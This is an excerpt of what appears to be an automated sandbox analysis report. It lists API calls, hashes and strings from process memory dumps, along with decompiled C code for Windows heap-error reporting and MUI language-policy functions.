LookupPrivilegeValueW.ADVAPI32(00000000,?,00A1F1D2,00A1F1D2,?,00000000,?,?), ref: 00A2A800

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 74acd7c4576bd7b0bd9d9c9a66c28c11f4d177fc94782425aa7f78d02a80c1ec
Instruction ID: 2d65a31cf34bc7481d87897001025972c773fbda3ab6291caf980d24726fd831
Opcode Fuzzy Hash: 74acd7c4576bd7b0bd9d9c9a66c28c11f4d177fc94782425aa7f78d02a80c1ec
Instruction Fuzzy Hash: 45F0A0B2600218ABDB14DF44CC40ED73768EF45310F258164FD086B242C631ED05CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A630, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00A24536,?,00A24CAF,00A24CAF,?,00A24536,?,?,?,?,?,00000000,00000000,?), ref: 00A2A65D

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: e1ade0e8e02fd4298d288cde2f4ba331c24a98bd0e54ec20049d406dd0cd8cc8
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: 07E012B1200218ABDB14EF99DC41EA777ACEF88A54F118558BA185B242C630F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A7D0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,00A1F1D2,00A1F1D2,?,00000000,?,?), ref: 00A2A800

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 18756b2de743064e0ce4cb2c237dc24481d7138212e4f9eb4ac787111769cb92
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 15E01AB12002186BDB10DF49DC85EE737ADEF88650F118164BA0C57241C934E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A5F7, Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00A24536,?,00A24CAF,00A24CAF,?,00A24536,?,?,?,?,?,00000000,00000000,?), ref: 00A2A65D

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8835c83d7783f93fdc2dc99d6d074eba48bfb9be0f46d7af7ce8001749be5509
Instruction ID: 07427088e33789f0e954ee363a008bdee64a9b3ec6ae7b50cd934e17da7513c5
Opcode Fuzzy Hash: 8835c83d7783f93fdc2dc99d6d074eba48bfb9be0f46d7af7ce8001749be5509
Instruction Fuzzy Hash: FCE07DF51083C45FD710EF38F9804C77BA4AF91308764C18CF84803603C230C80286B1

Uniqueness

Uniqueness Score: -1.00%

Function 00A1F6D0, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,00A18D14,?), ref: 00A1F6FB

Memory Dump Source

Source File: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Offset: 00A10000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 2932bcf02bc07d7163de81b169680dc5c005ffd35bbbe1c0c8f45c66faab01c4
Instruction ID: 15887f0e7f2ebf02db9f57bf426dd30c5868d9e0345d1885123dd1277179ee13
Opcode Fuzzy Hash: 2932bcf02bc07d7163de81b169680dc5c005ffd35bbbe1c0c8f45c66faab01c4
Instruction Fuzzy Hash: 51D05E616503082AE610ABA89C13F6632896B54B00F4A0074F9589A2C3D950E4004565

Uniqueness

Uniqueness Score: -1.00%

Function 03C8967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C89694

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 969ea07278d1413572ac646a09909d0af2af68c05a8714aa2344088729f68028
Instruction ID: 05b61d66d2e516527d8ba704aaff9eda3b4a2d1f3e5536263bd547263e76b6bc
Opcode Fuzzy Hash: 969ea07278d1413572ac646a09909d0af2af68c05a8714aa2344088729f68028
Instruction Fuzzy Hash: 65B09BB19014D5C5EA51E760470C7377A1477D0745F27C052D103D641A4778C591F5B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 03CFB260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 03CFB47D
*** An Access Violation occurred in %ws:%s, xrefs: 03CFB48F
read from, xrefs: 03CFB4AD, 03CFB4B2
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 03CFB39B
The resource is owned shared by %d threads, xrefs: 03CFB37E
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 03CFB484
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 03CFB305
write to, xrefs: 03CFB4A6
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 03CFB476
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 03CFB314
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 03CFB38F
*** then kb to get the faulting stack, xrefs: 03CFB51C
<unknown>, xrefs: 03CFB27E, 03CFB2D1, 03CFB350, 03CFB399, 03CFB417, 03CFB48E
Go determine why that thread has not released the critical section., xrefs: 03CFB3C5
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 03CFB53F
*** enter .exr %p for the exception record, xrefs: 03CFB4F1
*** Resource timeout (%p) in %ws:%s, xrefs: 03CFB352
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 03CFB3D6
*** enter .cxr %p for the context, xrefs: 03CFB50D
*** Inpage error in %ws:%s, xrefs: 03CFB418
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 03CFB323
The resource is owned exclusively by thread %p, xrefs: 03CFB374
The instruction at %p tried to %s , xrefs: 03CFB4B6
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 03CFB2DC
The instruction at %p referenced memory at %p., xrefs: 03CFB432
an invalid address, %p, xrefs: 03CFB4CF
*** A stack buffer overrun occurred in %ws:%s, xrefs: 03CFB2F3
This failed because of error %Ix., xrefs: 03CFB446
a NULL pointer, xrefs: 03CFB4E0
The critical section is owned by thread %p., xrefs: 03CFB3B9

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 270c1014fda5d7e56d516c00fb469110651f129892e5e23f202bb158d56edf19
Instruction ID: 3fc94d0a3dea4c16bb4e59a431d4f81edb9728c9f035077dea8dbca419b5b539
Opcode Fuzzy Hash: 270c1014fda5d7e56d516c00fb469110651f129892e5e23f202bb158d56edf19
Instruction Fuzzy Hash: 7081D179A40210FFCB61EB15CC89E6F3B26AF47B52F064054F205EF112D7A58951DBB2

Uniqueness

Uniqueness Score: -1.00%

Function 03D01C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E03D01C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x3c248a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E03C4B150();
				} else {
					E03C4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x3d3589c);
				E03C4B150("Heap error detected at %p (heap handle %p)\n",  *0x3d358a0);
				_t27 =  *0x3d35898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M03D01E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E03C4B150();
				} else {
					E03C4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E03C4B150("Error code: %d - %s\n",  *0x3d35898);
				_t113 =  *0x3d358a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E03C4B150();
					} else {
						E03C4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E03C4B150("Parameter1: %p\n",  *0x3d358a4);
				}
				_t115 =  *0x3d358a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E03C4B150();
					} else {
						E03C4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E03C4B150("Parameter2: %p\n",  *0x3d358a8);
				}
				_t117 =  *0x3d358ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E03C4B150();
					} else {
						E03C4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E03C4B150("Parameter3: %p\n",  *0x3d358ac);
				}
				_t119 =  *0x3d358b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E03C4B150();
					} else {
						E03C4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x3d358b4);
					E03C4B150("Last known valid blocks: before - %p, after - %p\n",  *0x3d358b0);
				} else {
					_t120 =  *0x3d358b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E03C4B150();
				} else {
					E03C4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E03C4B150("Stack trace available at %p\n", 0x3d358c0);
			}

0x03d01c10
0x03d01c16
0x03d01c1e
0x03d01c3d
0x03d01c3e
0x03d01c20
0x03d01c35
0x03d01c3a
0x03d01c44
0x03d01c55
0x03d01c5a
0x03d01c65
0x03d01c67
0x00000000
0x03d01c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x03d01c67
0x03d01cdc
0x03d01ce5
0x03d01d04
0x03d01d05
0x03d01ce7
0x03d01cfc
0x03d01d01
0x03d01d0b
0x03d01d17
0x03d01d1f
0x03d01d25
0x03d01d30
0x03d01d4f
0x03d01d50
0x03d01d32
0x03d01d47
0x03d01d4c
0x03d01d61
0x03d01d67
0x03d01d68
0x03d01d6e
0x03d01d79
0x03d01d98
0x03d01d99
0x03d01d7b
0x03d01d90
0x03d01d95
0x03d01daa
0x03d01db0
0x03d01db1
0x03d01db7
0x03d01dc2
0x03d01de1
0x03d01de2
0x03d01dc4
0x03d01dd9
0x03d01dde
0x03d01df3
0x03d01df9
0x03d01dfa
0x03d01e00
0x03d01e0a
0x03d01e13
0x03d01e32
0x03d01e33
0x03d01e15
0x03d01e2a
0x03d01e2f
0x03d01e39
0x03d01e4a
0x03d01e02
0x03d01e02
0x03d01e08
0x00000000
0x00000000
0x03d01e08
0x03d01e5b
0x03d01e7a
0x03d01e7b
0x03d01e5d
0x03d01e72
0x03d01e77
0x03d01e95

Strings

Parameter1: %p, xrefs: 03D01D5C
heap_failure_internal, xrefs: 03D01C6E
HEAP[%wZ]: , xrefs: 03D01C30, 03D01CF7, 03D01D42, 03D01D8B, 03D01DD4, 03D01E25, 03D01E6D
Parameter3: %p, xrefs: 03D01DEE
heap_failure_lfh_bitmap_mismatch, xrefs: 03D01CD7
heap_failure_freelists_corruption, xrefs: 03D01CC9
Last known valid blocks: before - %p, after - %p, xrefs: 03D01E45
heap_failure_invalid_argument, xrefs: 03D01CAD
heap_failure_listentry_corruption, xrefs: 03D01CD0
Heap error detected at %p (heap handle %p), xrefs: 03D01C50
heap_failure_buffer_overrun, xrefs: 03D01C98
heap_failure_multiple_entries_corruption, xrefs: 03D01C8A
heap_failure_block_not_busy, xrefs: 03D01CA6
heap_failure_usage_after_free, xrefs: 03D01CBB
Error code: %d - %s, xrefs: 03D01D12
HEAP: , xrefs: 03D01C16, 03D01C3D, 03D01D04, 03D01D4F, 03D01D98, 03D01DE1, 03D01E32, 03D01E7A
heap_failure_virtual_block_corruption, xrefs: 03D01C91
heap_failure_cross_heap_operation, xrefs: 03D01CC2
heap_failure_unknown, xrefs: 03D01C75
heap_failure_buffer_underrun, xrefs: 03D01C9F
heap_failure_entry_corruption, xrefs: 03D01C83
heap_failure_invalid_allocation_type, xrefs: 03D01CB4
Stack trace available at %p, xrefs: 03D01E86
Parameter2: %p, xrefs: 03D01DA5
heap_failure_generic, xrefs: 03D01C7C

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 3736fb9ccdef2a80457c26fe0d315a8575933797714afed62ea0cf8f3d232937
Instruction ID: c5cf2ad2306877cb635a5f8bd4a8897727f8e14863125db643993e4ab5298ebc
Opcode Fuzzy Hash: 3736fb9ccdef2a80457c26fe0d315a8575933797714afed62ea0cf8f3d232937
Instruction Fuzzy Hash: 2161A43B911258DFC352EBA5E585B28B3A5EB09F3070A807AF44ADF381C675DC40CB29

Uniqueness

Uniqueness Score: -1.00%

Function 03C53D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E03C53D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E03C51B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E03C51B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E03C51B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E03C51B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E03C51B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L03C64620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E03C8F3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E03C91370(_t276, 0x3c24e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E03C8BB40(0,  &_v68, _t170);
									if(L03C543C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E03C8BB40(_t257,  &_v68, _t243);
								if(L03C543C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E03C91370(_t278, 0x3c24e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L03C64620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E03C8F3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E03C91370(_v16, 0x3c24e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E03C8BB40(_t262,  &_v68, _t244);
								if(L03C543C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E03C91370(_t282, 0x3c24e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E03C8BB40(_t262,  &_v68, _t201);
							if(L03C543C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L03C64620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E03C8F3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E03C91370(_t280, 0x3c24e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E03C8BB40(_t267,  &_v68, _t245);
							if(L03C543C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E03C91370(_t284, 0x3c24e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E03C8BB40(_t267,  &_v68, _t224);
						if(L03C543C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x03c53d3c
0x03c53d42
0x03c53d44
0x03c53d46
0x03c53d49
0x03c53d4c
0x03c53d4f
0x03c53d52
0x03c53d55
0x03c53d58
0x03c53d5b
0x03c53d5f
0x03c53d61
0x03c53d66
0x03ca8213
0x03ca8218
0x03c54085
0x03c54088
0x03c5408e
0x03c54094
0x03c5409a
0x03c540a0
0x03c540a6
0x03c540a9
0x03c540af
0x03c540b6
0x03c540bd
0x03c540bd
0x03c53d83
0x03ca821f
0x03ca8229
0x03ca8238
0x03ca8238
0x03ca823d
0x03ca823d
0x03c53da0
0x03c53daf
0x03c53db5
0x03c53dba
0x03c53dba
0x03c53dd4
0x03c53e94
0x03c53eab
0x03c53f6d
0x03c53f84
0x03c5406b
0x03c5406b
0x03c5406e
0x03c5406e
0x03c54070
0x03c54074
0x03ca8351
0x03ca8351
0x03c5407a
0x03c5407f
0x03ca835d
0x03ca8370
0x03ca8377
0x03ca8379
0x03ca837c
0x03ca837c
0x03ca835d
0x00000000
0x03c5407f
0x03c53f8a
0x03c53f8d
0x03c53f90
0x03c53f95
0x03ca830d
0x03ca830f
0x03c53f9b
0x03c53fac
0x03c53fae
0x03c53fb1
0x03c53fb1
0x03c53fb6
0x03ca8317
0x03ca831a
0x00000000
0x03c53fbc
0x03c53fc1
0x03c53fc9
0x03c53fd7
0x03c53fda
0x03c53fdd
0x03c54021
0x03c54021
0x03c54029
0x03c54030
0x03c54044
0x03c54046
0x03c54046
0x03c54044
0x03c54049
0x03ca8327
0x03ca8334
0x03ca8339
0x03ca833c
0x03c5404f
0x03c5404f
0x03c5404f
0x03c54051
0x03c54056
0x03c54063
0x03c54063
0x03c54068
0x00000000
0x03c54068
0x03c53fdf
0x03c53fe2
0x03c53fe4
0x03c53fe7
0x03c53fef
0x03c54003
0x03c54005
0x03c54005
0x03c5400c
0x03c54013
0x03c54016
0x03c54017
0x03c5401b
0x03c5401e
0x00000000
0x03c5401e
0x03c53fb6
0x03c53eb1
0x03c53eb4
0x03c53eb7
0x03c53ebc
0x03ca82a9
0x03ca82ab
0x03c53ec2
0x03c53ed3
0x03c53ed5
0x03c53ed8
0x03c53ed8
0x03c53edd
0x03ca82b3
0x03ca82b6
0x00000000
0x03c53ee3
0x03c53ee8
0x03c53eed
0x03c53ef0
0x03c53ef3
0x03c53f02
0x03c53f05
0x03c53f08
0x03ca82c0
0x03ca82c3
0x03ca82c5
0x03ca82c8
0x03ca82d0
0x03ca82e4
0x03ca82e6
0x03ca82e6
0x03ca82ed
0x03ca82f4
0x03ca82f7
0x03ca82f8
0x03ca82fc
0x03ca82ff
0x03ca82ff
0x03c53f0e
0x03c53f11
0x03c53f16
0x03c53f1d
0x03c53f31
0x03ca8307
0x03ca8307
0x03c53f31
0x03c53f39
0x03c53f48
0x03c53f4d
0x03c53f50
0x03c53f50
0x03c53f53
0x03c53f58
0x03c53f65
0x03c53f65
0x03c53f6a
0x00000000
0x03c53f6a
0x03c53edd
0x03c53dda
0x03c53ddd
0x03c53de0
0x03c53de5
0x03ca8245
0x03c53deb
0x03c53df7
0x03c53dfc
0x03c53dfe
0x03c53e01
0x03c53e01
0x03c53e06
0x03ca824d
0x03ca824f
0x03ca8254
0x00000000
0x03c53e0c
0x03c53e11
0x03c53e16
0x03c53e19
0x03c53e29
0x03c53e2c
0x03c53e2f
0x03ca825c
0x03ca825f
0x03ca8261
0x03ca8264
0x03ca826c
0x03ca8280
0x03ca8282
0x03ca8282
0x03ca8289
0x03ca8290
0x03ca8293
0x03ca8294
0x03ca8298
0x03ca829b
0x03ca829b
0x03c53e35
0x03c53e38
0x03c53e3d
0x03c53e44
0x03c53e58
0x03ca82a3
0x03ca82a3
0x03c53e58
0x03c53e60
0x03c53e6f
0x03c53e74
0x03c53e77
0x03c53e77
0x03c53e7a
0x03c53e7f
0x03c53e8c
0x03c53e8c
0x03c53e91
0x00000000
0x03c53e91

Strings

Kernel-MUI-Language-Disallowed, xrefs: 03C53E97
WindowsExcludedProcs, xrefs: 03C53D6F
Kernel-MUI-Language-SKU, xrefs: 03C53F70
Kernel-MUI-Language-Allowed, xrefs: 03C53DC0
